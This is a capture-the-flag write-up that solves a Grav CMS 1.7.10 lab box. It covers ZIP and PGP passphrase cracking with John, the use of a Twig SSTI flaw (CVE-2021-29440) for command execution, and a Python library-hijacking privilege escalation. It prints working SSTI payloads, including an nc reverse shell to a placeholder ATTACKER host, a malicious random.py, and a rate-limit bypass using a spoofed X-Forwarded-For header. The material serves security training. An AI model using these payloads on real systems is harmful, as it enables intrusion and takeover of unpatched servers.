Любитель брутфорса (Bruteforce Lover)
Любитель брутфорса (Bruteforce Lover)
Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-05 | Status: Solved Techniques: zip2john_password_cracking, gpg2john_passphrase_cracking, pgp_message_decryption, grav_ssti_rce, twig_filter_system, python_library_hijacking, sudo_python_script_privesc, login_rate_limit_xff_bypass, file_fuzzing
Summary
Task: Grav CMS 1.7.10 boot2root box. Solution: fuzz an encrypted ZIP, crack it with zip2john to get admin creds, exploit authenticated Grav Twig SSTI (CVE-2021-29440) for RCE, crack a PGP private-key passphrase with gpg2john and decrypt a message to pivot to user gravman, then escalate to root via Python library hijacking (local random.py) of a NOPASSWD sudo script.
Любитель брутфорса (Bruteforce Lover) — HackerLab.pro
Description
Запаситесь джонами и фаззерами :D (Tags: Grav, SSTI, PGP — Author: Trager)
English summary: A medium-difficulty boot2root-style web machine. The title "Bruteforce Lover"
and the hint "Stock up on Johns and fuzzers" point directly at directory fuzzing plus John the
Ripper cracking. The target runs Grav CMS 1.7.10 on Apache at http://62.173.140.174:28280.
Goal: recover a CODEBY{...} flag that is split across two files — first_part (readable by user
gravman) and last_part (readable only by root).
Analysis
- The site is Grav CMS with the default Quark theme on Apache.
robots.txtlists/backup/,/user/,/system/, etc. The admin panel is at/adminand uses a login-nonce CSRF token. - The
/typographypage contains a "Note for admins": "If you have forgotten the password for the admin panel: download the zip archive, which is available to everyone. This custom archive wasn't in original Grav version and encrypted with password." — a strong hint to fuzz for a.zip. - Grav v1.7.10 (shown on the admin dashboard) is vulnerable to authenticated Twig SSTI → arbitrary YAML write → RCE: CVE-2021-29440.
- Post-RCE,
/opt/gpg/is world-readable and holds a PGP keypair and an encrypted message — a classic "crack the passphrase and decrypt" pivot to the user's password. - Root escalation is a textbook Python library hijacking of a
NOPASSWDsudo script thatimport randomfrom a writable working directory.
Solution
1. Reconnaissance
bash read-only • copy allowedcurl -s http://62.173.140.174:28280/robots.txt # Grav default robots: /backup/ /user/ /system/ ... curl -s http://62.173.140.174:28280/typography # "Note for admins" about an encrypted zip
Confirms Grav CMS and the existence of a custom, password-protected ZIP available to everyone.
2. Fuzz for ZIP files → encrypted archive
bash read-only • copy allowed# gobuster gobuster dir -u http://62.173.140.174:28280/ \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip # or ffuf ffuf -u http://62.173.140.174:28280/FUZZ -w wordlist.txt -e .zip
Finds /fileadmin.zip (220 bytes, HTTP 200). Download it:
bash read-only • copy allowedcurl -O http://62.173.140.174:28280/fileadmin.zip
Crack the ZIP password with John:
bash read-only • copy allowedzip2john fileadmin.zip > hash john --wordlist=/usr/share/wordlists/rockyou.txt hash # -> password: 232323 unzip -P 232323 fileadmin.zip # -> creds.txt cat creds.txt # gravman:2yyaeg2AiWy2v6E
3. Admin login
Log into /admin as gravman:2yyaeg2AiWy2v6E. The dashboard shows Grav v1.7.10.
Note: Grav's login is rate-limited per IP, but the rate limiter trusts the
X-Forwarded-Forheader. Sending a rotating/spoofedX-Forwarded-Forbypasses the lockout — handy for scripted access, though not required if you just log in once via the browser.
4. SSTI RCE — CVE-2021-29440
Create a new page (Pages → Add). Intercept the save request (Burp) which POSTs to
/admin/pages/<name>/:add with task=save. Set the page body to a Twig SSTI payload.
Verify the injection:
data[content]={{7*'7'}}
Visiting the saved page renders 49, confirming Twig evaluation. Use the filter('system')
trick for command execution:
data[content]={{['id']|filter('system')}}
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell (URL-encoded form of the payload), after starting nc -lvnp 9898 locally:
data[content]={{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER 9898 >/tmp/f']|filter('system')}}
Base64-wrapped commands also work to avoid escaping issues:
data[content]={{['echo <b64>|base64 -d|sh']|filter('system')}}
Browsing the saved page /<name> triggers execution and returns a www-data shell.
5. Loot /opt/gpg → crack PGP key → decrypt → gravman password
As www-data, /opt/gpg/ is world-readable:
bash read-only • copy allowedls -la /opt/gpg/ # private.key public.key secret.txt (a PGP MESSAGE)
Crack the private-key passphrase with John:
bash read-only • copy allowedgpg2john private.key > gpg.hash john --wordlist=/usr/share/wordlists/rockyou.txt gpg.hash # -> passphrase: gameover
Import the key and decrypt the message. (Local gpg tip: if you hit
"failed to start gpg-agent", set a short GNUPGHOME so the agent socket path stays short.)
bash read-only • copy allowedexport GNUPGHOME=$(mktemp -d /tmp/g.XXXX) gpg --batch --pinentry-mode loopback --passphrase gameover --import private.key gpg --batch --pinentry-mode loopback --passphrase gameover --decrypt secret.txt # -> "Gravman, this is your new password - Vo25I#U8kXae."
6. Become gravman → first part of flag
bash read-only • copy allowedsu gravman # password: Vo25I#U8kXae cat /home/gravman/first_part # file mode -r-------- owned by gravman # -> CODEBY{REDACTED
7. Privilege escalation to root — Python library hijacking
bash read-only • copy allowedsudo -l # (ALL) NOPASSWD: /usr/bin/python3 /home/gravman/script.py
script.py does import os; import random; ... and presents a menu whose option 4 calls
random.randint(...). Python prepends the script's own directory (/home/gravman) to sys.path,
so a local random.py there shadows the stdlib random module. Drop a malicious module:
python read-only • copy allowed# /home/gravman/random.py import os def randint(a, b): os.system("cat /root/last_part") # or os.system("bash") for a root shell return 0
Run the sudo script and pick option 4:
bash read-only • copy allowedsudo /usr/bin/python3 /home/gravman/script.py # choose option 4 -> executes as root: # cat /root/last_part -> REDACTED}
(Alternatively os.system("bash") spawns a root shell, then cat /root/last_part.)
Final flag
Concatenate first_part + last_part:
CODEBY{REDACTED} + {REDACTED}
= CODEBY{REDACTED}